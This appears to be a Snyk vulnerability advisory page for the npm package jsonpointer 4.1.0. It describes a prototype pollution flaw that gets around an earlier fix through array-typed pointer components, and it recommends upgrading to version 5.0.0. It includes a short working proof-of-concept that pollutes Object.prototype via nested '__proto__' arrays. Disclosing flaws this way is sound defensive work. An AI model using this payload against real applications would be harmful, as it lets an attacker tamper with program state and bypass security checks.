jsonpointer@4.1.0 vulnerabilities

Simple JSON Addressing.

  • latest version

    5.0.1

  • latest non vulnerable version

  • first published

    14 years ago

  • latest version published

    3 years ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the jsonpointer package. This does not include vulnerabilities belonging to this package’s dependencies.

    Fix vulnerabilities automatically

    Snyk's AI Trust Platform automatically finds the best upgrade path and integrates with your development workflows. Secure your code at zero cost.

    Fix for free
    VulnerabilityVulnerable Version
    • M
    Prototype Pollution

    jsonpointer is a Simple JSON Addressing.

    Affected versions of this package are vulnerable to Prototype Pollution. A type confusion vulnerability can lead to a bypass of a previous Prototype Pollution fix when the pointer components are arrays.

    PoC

    const jsonpointer = require('jsonpointer');
    
    // jsonpointer.set({}, ['__proto__', '__proto__', 'polluted'], 'yes');
    // console.log(polluted); // ReferenceError: polluted is not defined
    
    jsonpointer.set({}, [['__proto__'], ['__proto__'], 'polluted'], 'yes');
    console.log(polluted); // yes
    

    How to fix Prototype Pollution?

    Upgrade jsonpointer to version 5.0.0 or higher.

    <5.0.0